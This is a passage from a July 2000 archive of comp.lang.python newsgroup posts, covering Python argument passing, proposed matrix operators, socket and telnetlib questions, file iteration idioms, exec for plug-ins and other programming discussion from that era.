condition. It cannot magically repair bugs. So what is you want?

[snip]
>     BTW, you are aware that it is possible that such crash outs on minor
> things are just as apt to currupt the persistant database as anything else?

I have quite a bit of experience working with relational databases, and
a good relational database  does not go corrupt when the program crashes.
Among other things, relational databases have a concept called 'transactions'
which help here.

I also have quite a bit experience working with an object database, the
Zope Object Database. It makes Python objects persistent. It also has
transactions. Due to various errors on my part and on the part of others,
I have seen many many exceptions Zope. And I haven't seen a corrupted
object database yet in the last year and a half, because Zope catches the
exceptions, handles them, and rolls back the transaction that could've
corrupted the database.

And what is your experience regarding databases and exceptions in Python?

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From rupole at compaq.net  Sun Jul 30 13:19:46 2000
From: rupole at compaq.net (Roger Upole)
Date: Sun, 30 Jul 2000 17:19:46 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl> <8m1ksm$kr9$1@news.dtc.hp.com>
Message-ID: <SsZg5.97838$r9.3241091@news.easynews.com>

As I understood it, Python is actually two levels of abstraction away from
pass by value.  Normally, 'pass by reference' means that the actual address
of the data in memory is passed.  However, in Python's pass by reference,
rather than the address of the data, it is passing the address of the object
itself,
which contains the address and structure of the data.
It would only seem to work like pass by value when you pass an immutable
object.
The 'pass by Object' term that someone used earlier is IMO the most accurate
description of the mechanism.

           Roger Upole

"(Greg Weeks)" <weeks at golden.dtc.hp.com> wrote in message
news:8m1ksm$kr9$1 at news.dtc.hp.com...
> [I should have mentioned this in my previous response, but I missed it:]
>
> Martijn Faassen (m.faassen at vet.uu.nl) wrote:
> : This seems to be where the confusion comes in. When people claim Python
> : passes by value, because the *references* are being passed by value,
> : that seems to be just stating that the only thing the computer can pass
> : in the end is numbers. If you say that, everything is by value
>
> Not really.  The question is *which* number do you pass to the function:
> the number written in the argument variable or the address of the argument
> variable (which is then implicitly dereferenced).  Perl passes the latter
> (call by reference), Python passes the former (call by value).  So, in
Perl
> you can have:
>
>     $x = 0;
>     f($x);
>     print "$x\n"; # PRINTS 42
>
> Greg




From hzhu at localhost.localdomain  Mon Jul 17 19:28:40 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 23:28:40 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com>

On 17 Jul 2000 17:39:33 -0400, David M. Cooke <cookedm at physics.mcmaster.ca>
wrote: 
>> Consider the proposal of having two classes, Matrixwise and Elementwise,
>> with methods to cast to each other.  I don't know why
>> 
>> (a.E()*b.E()).M()*(c.E()*d.E()).M()
>> 
>> would be more preferable to 
>> 
>> (a.*b)*(c.*d)
>
>Well, it doesn't have to be as complicated as your first example. Assume
>the default is Matrixwise, and we get rid of some ()'s by overriding
>__getattr__, so that we can right
>
>(a.E*b.E)*(c.E*d.E)
>

That's a good point.  Can __getattr__ be made to work only on a selected
number of attributes?  We could use it on T, H, I, C for transpose,
Hermitian transpose, inverse and conjugate.  But if it works on all the
undefind members the error message may be too obscure.  Any examples?

BTW, you meant

(a.E*b.E).M*(c.E*d.E).M

for otherwise it is equivalent to (a.*b).*(c.*d).

>But what if we assume that if one operand has .E, the other does also!
>Then we can write
>
>(a.E*b)*(c.E*d)

This won't work.  It would introduce many hard-to-trace bugs.  Looking at

(a*b)*(c*d)

and you have to trace the program all the way down to figure out the
identities of a,b,c,d.  Note that in concept the identities of the objects
do not change.  We are changing their identities only as labels to help
picking different operators.  I can foresee great confusion in practice with
this approach.

Huaiyu


From Dan at Grassi.org  Mon Jul 24 00:02:57 2000
From: Dan at Grassi.org (Dan Grassi)
Date: Mon, 24 Jul 2000 00:02:57 -0400
Subject: Open letter to Guido van Rossum
Message-ID: <200007240401.AAA07578@mail3.mia.bellsouth.net>

Hi Guido,

Well, I am rather ambivalent about 1.6.  See, I really like python and 
want to use it at work, a dot-com --- in fact I would like it to be the 
standard.  But I doubt that it will come to pass, there are to many 
stumbling blocks.

First and foremost is database support as a part of the languare 
_package_!  In particulay I need Oracle on ix86, a not uncommon database. 
 But that is no trivial task.  Thus python fails because it can not be 
used in a production environment that involves Oracle.

Then there is the mod-python/mod_pyapache mess, two competing versions 
both with major problems ranging from re not working in the module 
version of mod_python to memory leaks in both versions.  Memory leaks are 
a major problem in a shop that is serving over 1 million pages a day.

Also in the area of divergence is the MySQL database interface modules, 
there are at least two and I believe four current versions.

OK, but this is not python!  Well, technically that is true but these are 
problems when one tries to use python in production!

I suggest that you, Guido van Rossum, father and inventor of Python, 
"bless" some versions and thus get development behind single versions 
instead of diverging from each other.  Thjis in much the same manner that 
Linus blesses a release of Linux.

Oh well, this is just wishing upon a star. :-)  At least I do get to use 
python on occasion, thanks.

Dan Grassi



From roger_callisto at hotmail.com  Mon Jul 31 14:23:48 2000
From: roger_callisto at hotmail.com (Peter Yu)
Date: Mon, 31 Jul 2000 18:23:48 GMT
Subject: telnetlib
References: <20000729152800.B1899@reepicheep.avalongroup.net> <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com> <20000731091354.A1319@reepicheep.avalongroup.net>
Message-ID: <8m4g7c$8pr$1@nnrp1.deja.com>

In article <20000731091354.A1319 at reepicheep.avalongroup.net>,
  Timothy Grant <tjg at exceptionalminds.com> wrote:

> This causes me to have a question. As I have been working through
> this problem I used a debug level of 255 and interact() to see what
was
> going on. Using interact, the Enter key on my computer sends a \012.
Using
> \n sends the same thing. interact() would die in the same spot as my
script
> did, so is there something weird going on with this particular
terminal?

One thing I found out while working with various telnet clients to test
out the behaviors in order to make a telnet-aware server:

In line-by-line mode, the enter key is usually \n or \r\n
In character-by-character mode, the enter key is \r\0

Of course, the entry modes aren't necessarily the best indicators: For
example, the telnet client that comes with Windows 95/98 stays in
character-by-character mode, but the enter key is sent as \r\n.

Also, some programs I've seen also check for the presence of \n\r for
the line terminator, so I suspect some platforms out there does sends
that, as well.

Hope this is helpful,
Peter Yu


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Tue Jul 18 16:45:36 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 15:45:36 -0500
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com> <vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu> <Rv_c5.1492$6E.294613@ptah.visi.com>
Message-ID: <3974C1F0.9F147648@prescod.net>

Eric Hopper wrote:
> 
> ...
> 
> Whee!  Inheritance by mysteriously coinciding method names is so much fun!

What's mysterious about choosing method names according to the
documentation?

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From Richard.Jones at fulcrum.com.au  Tue Jul 25 01:41:18 2000
From: Richard.Jones at fulcrum.com.au (Richard Jones)
Date: Tue, 25 Jul 2000 15:41:18 +1000
Subject: Python is wierd! 
In-Reply-To: Message from Jonathan of 2000-Jul-25 5:13:1,
            <8lj7kr$ttc$1@nnrp1.deja.com> 
Message-ID: <200007250541.PAA25542@envy.fulcrum.com.au>

[Jonathan]
> 1. There are no keywords to declare static or instance variables; it
> all depends where they are placed(whether it's right after the <class>
> statement, or inside a <def>). Isn't it harder for other programmers to
> know at one glance what type of attributes the class define?

   I thought it was perfectly clear - much clearer than some other languages :)

   Static attributes are assigned at class definition. Instance attributes are 
assigned to an instance once it's created. That's pretty straightforward. If 
there's a confusion at a later stage about whether an attribute is instance- or 
class- then you've probably got a fundamental design problem in your class...


> 2. No *formal* declaration of static class methods, e.g. no 'static'
> keyword (though i'm not sure how useful static methods are in OOP
> design). I read somewhere in this newsgroup that the workaround way is
> to define the method outside of the class - doesn't it break
> the 'encapsulation' a class suppose to have?

   The generally accepted method is to put these utility functions where they 
logically belong: in the module that defines the class, but not in the class 
itself. If it doesn't operate on an instance, what business does it have in the 
class definition. I use static methods in Java for one thing only: utility 
functions. That's because Java won't let me have stand-alone functions. (That's 
not a dig at Java!)


> 3. No keywords to differentiate between passing arguments by reference
> or value! An integer is passed by value(reference to a new copy), while
> a mutable object is by reference. To pass a list by 'value', i know you
> just need to insert one more line(list = [:]), but it seems
> so 'inconsistent' compared to Java or even PHP.

   Nope, everything is pass-by-reference in Python. Even your integer is 
pass-by-reference, but since it's an immutable object, it might _seem_ like 
you're passing the value of the object.


> (Not to mention the number of 'gotchas' listed in the book that are
> bound to trap beginners - *shudder*)

   Gotchas? I've not read the book - are these actually stated in the book as 
gotchas? I'll personally beat on the head of the author if they are :)


      Richard





From digitig at cix.co.uk  Sat Jul 22 16:28:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Sat, 22 Jul 2000 21:28 +0100 (BST)
Subject: Python in game development?
References: <39781665.24F4C5B8@prescod.net>
Message-ID: <memo.20000722212849.22193B@digitig.compulink.co.uk>

In article <39781665.24F4C5B8 at prescod.net>, paul at prescod.net (Paul 
Prescod) wrote:

> Sean Wilson wrote:
> > 
> > Hi,
> > 
> > > From a game programming perspective, you can probably consider 
> > > Python to
> > > be dirt-slow, though. The trade-off is a lot of power for speed, but
> > > that power can help you gain back speed because you can be a lot 
> > > smarter.
> > 
> > Before I started trying to write my own scripted language I tried to 
> > find
> > some tutorials and articles on them but couldn't get them anywhere. 
> > Someone
> > directed me towards python but I couldn't find anything about the 
> > virtual
> > machine it uses. How does it work and why is it so slow?
> 
> I think by now Martijn wishes he had spoken more clearly. Python is only
> slow compared to assembly language and C. It is quite reasonable in
> performance compared to other scripting languages!!!
> 
> Python may be slower than your language because it has more
> sophisticated flow control. In particular, Python's function calling and
> name lookups are very flexible and not as efficient as in less flexible
> languages.

To put the same thing another way, there tends to be a tradeoff between 
development time and execution time. Python stacks things heavily in 
favour of development time, assembler and C stack things heavily in favour 
of execution time. Until somebody makes a radical breakthrough the 
tradeoff is inevitable, which is why Python is not really in competition 
with C, C++, C#, Ada, assembler, etc. It is more in competition with 
things like Perl and BASIC (though frankly I don't see it as much of a 
competition!).

I say a tradeoff is inevitable. Of course, it /is/ possible for a language 
to stack things /against/ both development time and run time. But I won't 
name names ... :-)


From kpmurphy at my-deja.com  Thu Jul 20 10:34:34 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Thu, 20 Jul 2000 14:34:34 GMT
Subject: closing a socket
Message-ID: <8l72lp$mah$1@nnrp1.deja.com>

is closing sockets tricky? or am i doing something wrong...  shouldn't
this work?

-- userlist contains a bunch of users and their connections

...
s = socket(AF_INET, SOCK_STREAM)
s.bind('', 5555)
s.listen(1)
...
for u in userlist:
    print u.conn
    u.conn.close()
    print u.conn
s.close()
# EOF

however, i get the following error if i try and run it a second time:

socket.error: (125, 'Address already in use')

help!  :)
-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From pj at sgi.com  Mon Jul 31 20:50:31 2000
From: pj at sgi.com (Paul Jackson)
Date: 1 Aug 2000 00:50:31 GMT
Subject: How does Python compare to ?
References: <3FF3ED6EC164DBD2.77C81740D77CD9FA.D247DC7D74D3B365@lp.airnews.net> <8m4bo1$3le2$1@nntp6.u.washington.edu> <8m4v0g$bcbbu$1@fido.engr.sgi.com> <20000801011155.Q266@xs4all.nl>
Message-ID: <8m56sn$bdmfj$1@fido.engr.sgi.com>

On Tue, 1 Aug 2000, Thomas Wouters wrote:
> On Mon, Jul 31, 2000 at 10:36:00PM +0000, Paul Jackson wrote:
> >     In the same interval, python does some 196 milliseconds worth
> >     of stuff, including 52 open attempts, 34 stat attempts, 67
> >     sigaction calls, 12 fstat's, 20 close's, 27 brk's, ...
> 
> Okay, now try it with 'python -S'. This omits the 'site.py' import, which
> itself requires a ton of other things. When using '-S', python is
> consistently 10msec faster than perl, on my P2-something running Linux.

That helps some, but not as much as you are seeing.  I just saw
the Python time on my Irix box, between loading libc and reading
the 'print' command go from 178 msec down to 72 msec.  Not close
to the 9 or 10 msec for perl.

I still see the stat for 'python' along my $PATH, the loading
of the exceptions module, and the sigaction() calls.  And it's
still mostly cpu bound, with perhaps 33 msec spent very early
on, doing just a handful of system calls (before the search
for python along $PATH), and almost 20 msec spent digesting
the exceptions module.

The number of open and stat attempts goes down to 12 and 19,
respectively.  No change in the number of sigaction calls.
-- 
-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From andres at mail.mamey.com  Thu Jul 20 12:29:23 2000
From: andres at mail.mamey.com (Andres Corrada-Emmanuel)
Date: Thu, 20 Jul 2000 12:29:23 -0400
Subject: win32ras.pyd import fails
Message-ID: <200007201229.AA2602369202@mail.mamey.com>

Hi David,

Just wanted to thank you for posting your message on the fix to the win32ras.pyd import failure. The same problem bit me in the ass and your post saved me from wasting time trying to figure it out.


--
------------------------------------------------------
Andres Corrada-Emmanuel   Email: andres at mamey.com
Director of Technology    http://www.mamey.com
Mamey                     Phone: (413) 529-9993
------------------------------------------------------
--



From mwh21 at cam.ac.uk  Sat Jul  1 09:09:39 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 01 Jul 2000 14:09:39 +0100
Subject: Python MP3 Player
References: <395CE50A.3BA16777@bioeng.ucsd.edu> <m3ituq7klk.fsf@atrus.jesus.cam.ac.uk> <20000630232210.A1287@novara.avenue>
Message-ID: <m3d7ky6lpo.fsf@atrus.jesus.cam.ac.uk>

David Porter <jcm at bigskytel.com> writes:

> * Michael Hudson <mwh21 at cam.ac.uk>:
> > Curtis Jensen <cjensen at bioeng.ucsd.edu> writes:
> > 
> > > Does anyone know of a Python MP3 Player?
> > 
> > I've cobbled together some Python that you can use to control xmms if
> > that's what you want.  Anyone interested?  I can stick it on my
> > starship page if anyone is...
> 
> I am! I was just thinking about doing something like this. 

Righty ho; find it here:

    http://starship.python.net/crew/mwh/hacks/

no docs, no guarantees, no restrictions.  Comments appreciated.

Cheers,
M.

-- 
  The use of COBOL cripples the mind; its teaching should, therefore,
  be regarded as a criminal offence.
           -- Edsger W. Dijkstra, SIGPLAN Notices, Volume 17, Number 5


From rgoto at aa.net  Sun Jul  2 19:16:12 2000
From: rgoto at aa.net (Robert Goto)
Date: Sun, 2 Jul 2000 16:16:12 -0700
Subject: Newbie question  re: regsub
Message-ID: <395fc90a$1_1@huge.aa.net>

I am sure there is a very simple answer to this.
>>> import regsub
>>> fimo = open('fimo.txt')
>>> while 1:
 line = fimo.readline()
 if not line: break
 regsub.gsub('orange', 'red', line)
 print line


'red red red red red red red'
red orange red red red red red
>>>

The file I am opening which is called fimo.txt only contains the string
withouth ' marks  red orange red red red red red.

What I want it to do is print the changed string  only....but what I am
getting is both the original string and the changed string?!

Any pointers would be greatly appreciated.




From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 20 06:16:33 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 20 Jul 2000 10:16:33 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua>
Message-ID: <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>

Kirill Simonov wrote in comp.lang.python:
> On Wed, Jul 19, 2000 at 07:14:15PM -0500, nobody wrote:
> 
> > while (line = <FILE>) { block; }
> 
> The easiest way:
> 
> for line in file.readlines():
>     block

But that would read the whole thing into memory, and he doesn't want that.

Wouldn't an xreadlines() method on file objects be cool?

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
 12:15pm  up 136 days, 24 min,  6 users,  load average: 0.35, 0.21, 0.15


From max at alcyone.com  Fri Jul 28 22:08:59 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 19:08:59 -0700
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <39822505.73DA6F60@alcyone.com> <slrn8o4amb.7dm.grey@teleute.rpglink.com>
Message-ID: <39823CBB.DE41AC07@alcyone.com>

Steve Lamb wrote:

>     Duh.  Thank you for so pointing out what I have stated several
> times.  You
> know, everyone else has been quite civil and I've learned a lot.  You,
> you
> just piss me off.

So why are you suggesting the way things should be in comp.lang.python,
if you know that that's not the way that Python works and it isn't the
way that it _should_ work?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ No man is more cheated than the selfish man.
\__/ Henry Ward Beecher
    Computer science / http://www.alcyone.com/max/reference/compsci/
 A computer science reference.


From moshez at math.huji.ac.il  Fri Jul  7 13:55:28 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 7 Jul 2000 20:55:28 +0300 (IDT)
Subject: Namespace Mystery (HELP!)
In-Reply-To: <3966175B.B8975186@prescod.net>
Message-ID: <Pine.GSO.4.10.10007072050140.10841-100000@sundial>

On Fri, 7 Jul 2000, Paul Prescod wrote:

> Dunno. :( I'm surprised that raw "exec" can modify local variables but
> then I never use it. I'm one of those anti-exec purists.

Me too. However, I've used "exec", so I want to talk in a few words about
the two situations in which "exec" is useful.

A. A Plug-in architecture. In writing an IDE (which is not yet in a
releasable condition) I wanted to have an EMACS-like extensions and hooks.
"exec <user code> in {}" proved very efficient for that. In a sense, this
is a form of exec which any language has: even C, via dlopen() and
dlsym().

B. In this same IDE, I wanted a user to be able to run the Python program
she wrote. Here too, "exec <user code> in {}" proved simple and to the
point.

Conclusion:
Never ever "exec" without using the "in" form. I have yet to see a reason
to break this rule.

almost-as-bad-as-an-unqualified-execpt-ly y'rs, Z.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From MarkH at ActiveState.com  Tue Jul 25 20:15:32 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Wed, 26 Jul 2000 00:15:32 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com>
Message-ID: <E4qf5.12033$4p3.93358@news-server.bigpond.net.au>

> I have the following wxPython code:

There is your problem <wink>.

> My comment is missing.  It isn't part of the class definition, yet was
> "gobbled up" by the fold.

I agree this sucks.

> Can I prevent this?

No :-(

> Ideas?  This seems to be a Scintilla issue, as
> pywin\framework\editor\color\coloreditor.py seems to indicate that
PythonWin
> doesn't do the actual folding:

Correct, I'm afraid.  Scintilla detects folding as it colorises.  Changes
like you suggest would make it far more complex.

The good news, however, is that fixing it inside Scintilla means Pythonwin
gets the fix, as well as whatever wxPython integration efforts are
underway, and every future user of Python code in Scintilla will sing your
praises.

Please take this on!

Mark.





From no at bo.dy  Wed Jul 19 23:13:12 2000
From: no at bo.dy (nobody)
Date: Wed, 19 Jul 2000 22:13:12 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <upuo9h97v.fsf@ctwd0143.fitlinxx.com>
Message-ID: <E7td5.21925$DZ4.71373@news.corecomm.net>

David Bolen <db3l at fitlinxx.com>, in <upuo9h97v.fsf at ctwd0143.fitlinxx.com>:

[...]
> The basic Python approach to iteratiing over a file would be:
> 
>     while 1:
>         line = file.readline() if not line: break
>         (... operations to perform ...)

> Yes, it has a break in it (although I personally don't consider
> 'break' ugly - break and continue are often the most elegant way to
> handle flow), and yes, it seems clumsy to those of us used to
> assignments within expressions, but its the sort of thing you just
> acknowledge and move on - it's really not that big a deal.

true, it just irked me. being a python newbie i'm running into a lot of
little annoyances like this, nothing major or worth complaining much over,
but details that confuse me nonetheless. python doesn't really fit my
personal taste very well, though better than some languages, and there are
more important things to a language than matters of taste.

(fwiw, my preference for this stems mostly from a liking for brevity; the
one real "flaw" in all the python workarounds is verbosity. i tend to think
faster than i type, even faster than i read, and i like to take in the
concepts of a program at as close to the speed of my mind as possible.)

> There's also a FAQ on this common question, available at:
>     http://www.python.org/doc/FAQ.html#6.30

thank you most kindly, i had been wondering where the FAQ was hidden!



From dworkin at ccs.neu.edu.bbs  Mon Jul 17 20:10:01 2000
From: dworkin at ccs.neu.edu.bbs (dworkin at ccs.neu.edu.bbs)
Date: 18 Jul 2000 00:10:01 GMT
Subject: Routing sys.stdout.write (print)
Message-ID: <3bRUCP$jHW@openbazaar.net>

Joseph Betz <betz at bmi.net> writes:

> I'm getting unexpected results from the following code:
>
> import sys
> from sys import stdout
> x = stdout
>
> class Writer
>   def write(self, string):
>     x.write(': ' + string)
> sys.stdout = Writer()
> print "Ni!"
> x.write('Ni!\n')
>
> The output I'm getting is:
>
> : Ni!:
> Ni!
>
> I am looking for a solution so that the second colon isn't in the
> output.  A good solution
> may be very different then the code I have here.

This is due to the implementation of the print statement, which
effectively calls sys.stdout.write a separate time for the trailing
newline.

If you use sys.stdout.write() directly instead of the print statement,
you won't have this problem.

-Justin

 


From rupole at compaq.net  Tue Jul 18 17:02:13 2000
From: rupole at compaq.net (Roger Upole)
Date: Tue, 18 Jul 2000 21:02:13 GMT
Subject: event handler advice
References: <8l033n$pr2$1@la-mail4.digilink.net>
Message-ID: <hnOc5.43455$e6.2105696@pouncer.easynews.com>

No HAHA, actually you can do exactly that.  Just construct your dictionary
so
that it maps the event integer value to the function itself.
def eventhandler1()
    ....
def eventhandler2()
    ....
def eventhandler3()
    ....
eventmap = {eventvalue1:eventhandler1, eventvalue2:eventhandler2,
eventvalue3:eventhandler3 }
eventhandler  = eventmap[someeventvalue]
eventhandler()

   HTH

       Roger Upole

Then you can
"Pete Shinners" <pete at visionart.com> wrote in message
news:8l033n$pr2$1 at la-mail4.digilink.net...
> i'm trying to write a simple event handler python class.
> so far i haven't come up with an 'elegant' solution i was
> expecting.
>
> i have a list of different messages, and they are all
> given different interger values. this list is defined
> in a C extension, for example
> msg.INIT, msg.EXIT, msg.STOP, msg.PLAY, ...
>
>
> i want to make a inheritable class that receives one
> of these messages and calls a member routine with the
> same name. my handler doesn't know the name of the
> variable, since python only sends it the INT value.
>
> so i need to find some nice way to map these message ids
> to a method name. i then need to get this name and have
> the class call it on itself.
>
> the end result being i can call
> "mymessagehandler_inst.handle(msg.PLAY)"
> and this will in turn call
> "mymessagehandler_inst.PLAY()"
>
> there's a good sized list of these messages, and in the
> future it will likely expand
>
> my guess is i need some dictionary that defines the
> messages and their routine name (no shortcut way to do
> this unless python had #define like macros :])
>
> messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}
>
> then a routine like
>
> class basehandler:
>     def handle(messageid):
>         name = messages[messageid]
>         self.name()   #HAHA, no really, how do i do this?
>
> but i'm not exactly sure how to write this. need help, thx
>
>
>




From thiele at muc.das-werk.de  Tue Jul 11 07:42:51 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Tue, 11 Jul 2000 13:42:51 +0200
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de>
Message-ID: <396B083B.823039E9@muc.das-werk.de>

Thomas Thiele wrote:

> Why doesn't this programm (pickle) eats memory?

Of course I mean "does". It eats  memory!

Thank you for help!
If it was a real bug in pickle, I would be glad to get a solution for this problem, because I don't want
to write my own pickle algorithm for all my different classes.



From michealk at newlix.com  Mon Jul 24 15:32:36 2000
From: michealk at newlix.com (Micheal Kelly)
Date: Mon, 24 Jul 2000 19:32:36 GMT
Subject: Obtaining network configuration via Python
Message-ID: <oR0f5.8644$07.646795@news1.rdc1.on.wave.home.com>

Hi all,

Quick question:  I'm writing some Python scripts in Linux that need access
to the system's network configuration - now, I could parse the output of
ifconfig quite easily (and have for that matter).  However, for various reasons
I can't and don't want to do this - I'd rather access the network configuration
info directly from the OS if possible.

My question is:  Does anyone know how to do this in Python under Linux?
Is there a module or library I can use?

Thanks,
- Mike Kelly




From cut_me_out at hotmail.com  Fri Jul 28 20:26:52 2000
From: cut_me_out at hotmail.com (Alex)
Date: 28 Jul 2000 20:26:52 -0400
Subject: Find where you left off...
References: <397F7BF5.F4A0138D@yahoo.com> <slrn8nvree.35n.qtmstr@d30-146.hcvlny.optonline.net>
Message-ID: <etdr98du6gj.fsf@w20-575-115.mit.edu>

> Python doesn't catch all such errors when the script executes.

That's true in general, but for the example he gave ('start from here')
it should be OK, because 'from' is a keyword, so Python will throw a
syntax error before any code is executed:

>>> def test():
        start from here
...   File "<stdin>", line 2
    start from here
             ^
SyntaxError: invalid syntax
>>> 

Alex.


From moron at Glue.umd.edu  Thu Jul 20 22:48:45 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 20 Jul 2000 22:48:45 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8netkd.rb.hzhu@localhost.localdomain> <8l85ae$487@stochastic.eng.umd.edu> <slrn8nf8vv.rb.hzhu@localhost.localdomain>
Message-ID: <8l8dmd$4p0@stochastic.eng.umd.edu>

(Huaiyu Zhu):
>Ah, I see where the problem is!  No.  Not a single line of
>code. (well, see below.) 
>
>For ordinary numbers, all the operators are exactly the same.
>
>For classes, they define their own __mul__ that is hooked to *.  This
>will not change, unless you choose to redefine __mul__.
>
>For the new operators, be it .* or @  or @*, they are not defined for
>anything other than numbers.  Each class is free to define them in any
>fashion.  

Under that proposal, sure.  But others have suggested changing the
meaning of the operators in NumPy.  I doubt that'll fly, which I think
is good.

>I see the eventual unification of MatPy and NumPy somewhat along the
>line of migration from the regex to re module.  That is, it would be
>possible in the future to define a new package with a different name,
>with an interface that has advantage of both, or better than both.
>People could just use the new package for new code, which could
>coexist with old modules as well.  They can migrate their code at
>leisure time.

The old code might not even have to coexist, the new package could
provide compatibility modules:

-------- Numeric.py --------------
from MumPy import *
frob_operators(...)
----------------------------------

and similarly for MatPy.

Warren Focke
-- 
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From thomas at xs4all.net.bbs  Sun Jul 16 10:50:03 2000
From: thomas at xs4all.net.bbs (thomas at xs4all.net.bbs)
Date: 16 Jul 2000 14:50:03 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bQQ8R$mHs@openbazaar.net>

On Sun, Jul 16, 2000 at 04:38:05PM +0200, Beat Bolli wrote:

> this is my first crack at Python patching. I was simply appalled to find
> '3'.zfill(5) not working anymore in 2.0b1, so I decided to do something
> about it. Now since zfill can be expressed as rjust with an optional pad
> characer argument, I implemented this.

Excellent ! But as you might know, Python has moved to SourceForge, which
includes a Patch Manager. It would definately be best to post your patch
there, including some comments on why it is necessary. If you can't post it
there for some reason, send it to python-dev at python.org.

Oh, and read http://www.python.org/patches/', it contains some hints about
submitting a patch and coding style and such.

As for the patch itself, it looks okay, though I'd say the restriction on
padchar being a single character is a bit strange. Why not allow multiple
characters as padding ? string.join() allows strings instead of single
characters, too.

--
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!


From moshez at math.huji.ac.il.bbs  Mon Jul 17 17:30:03 2000
From: moshez at math.huji.ac.il.bbs (moshez at math.huji.ac.il.bbs)
Date: 17 Jul 2000 21:30:03 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bRQ4S$mvm@openbazaar.net>

On Mon, 17 Jul 2000, Peter Schneider-Kamp wrote:

> Thomas Wouters wrote:
> >
> > As for the patch itself, it looks okay, though I'd say the restriction on
> > padchar being a single character is a bit strange. Why not allow multiple
> > characters as padding ? string.join() allows strings instead of single
> > characters, too.
>
> Two reasons why not:
> - it would have been harder to implement <wink>
> - undetermined semantics:
>   "GvR".ljust(6,"12") =?= "GvR121"
>   or
>   "GvR".ljust(6,"12") =?= "GvR12"
>   or
>   "GvR".ljust(6,"12") =?= "GvR1212"

In the face of ambiguity, refuse the temptation to guess!!!!!

"GvR".ljust(6, "12")
Traceback (innermost last):
  File "<stdin>", line 1, in ?
ValueError: second argument to ljust must be of length 1

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez


From hzhu at localhost.localdomain  Fri Jul 21 16:21:38 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 20:21:38 GMT
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu> <slrn8nfsh3.rb.hzhu@localhost.localdomain> <8la3bo$b55$1@agate.berkeley.edu>
Message-ID: <slrn8nhcdk.ql.hzhu@rocket.knowledgetrack.com>

I tend to agree on what you said about error bounds.  Would you like to
